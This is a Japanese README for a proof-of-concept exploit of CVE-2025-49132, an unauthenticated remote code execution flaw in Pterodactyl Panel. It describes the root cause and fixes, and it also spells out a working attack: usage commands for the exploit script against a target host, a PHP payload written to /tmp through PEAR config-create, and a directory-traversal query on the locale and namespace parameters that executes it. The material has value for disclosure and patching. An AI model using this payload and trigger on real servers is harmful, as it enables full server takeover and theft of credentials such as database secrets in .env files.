CVE-2025-49132

Pterodactyl Panel - 認証不要のリモートコード実行 (RCE)

🔎 概要

CVE‑2025‑49132 は、Pterodactyl Panel <= 1.11.10 に影響を与える深刻なリモートコード実行の脆弱性です。

認証されていない攻撃者は、/locales/locale.json エンドポイントにおける不適切な入力検証を悪用し、任意のシステムコマンドを実行できます。

修正バージョン: 1.11.11

📌 影響

悪用に成功すると以下が可能になります:

認証不要のリモートコード実行
機密ファイル（例: .env）の読み取り
データベース認証情報の抽出
サーバーの完全な侵害

深刻度: Critical

🧠 根本原因

この脆弱性は、以下のパラメータの不適切な検証に起因します:

locale パラメータ
namespace パラメータ

攻撃者は以下が可能です:

ディレクトリトラバーサル（../../../../../）の悪用
config-create の活用
任意のPHPペイロードを /tmp に書き込む
細工されたnamespaceローディングによる実行のトリガー

脆弱性分類: CWE-94 -- コード生成の不適切な制御

🚀 概念実証 (PoC)

使用方法

python3 CVE-2025-49132-dbs.py --target <host> --cmd "<command>" [--path <pear_path>]

例

python3 CVE-2025-49132-dbs.py --target victim.com --cmd "whoami"
python3 CVE-2025-49132-dbs.py --target 192.168.1.10 --cmd "id" --path /usr/local/lib/php/PEAR

デフォルトパス:

/usr/share/php/PEAR

適切なパスを /phpinfo.php ページから取得 alt text

🛠 悪用の流れ

ステップ 1 - ペイロードの書き込み

攻撃者は以下を使用して、悪意のあるPHPペイロードを /tmp/payload.php に注入します:

/<?=system('id')?>+/tmp/payload.php

ステップ 2 --- 実行のトリガー

以下の呼び出しにより:

?locale=../../../../../tmp&namespace=payload

サーバーは注入されたPHPを実行します。

🛡 緩和策

Pterodactyl Panel >= 1.11.11 にアップグレード
locale および namespace 入力をサニタイズ
危険なPHP関数を無効化
不要なエンドポイントの公開を制限

CVE-2025-49132-Pterodactyl-Panel-Unauthenticated-Remote-Code-Execution-RCE-

人気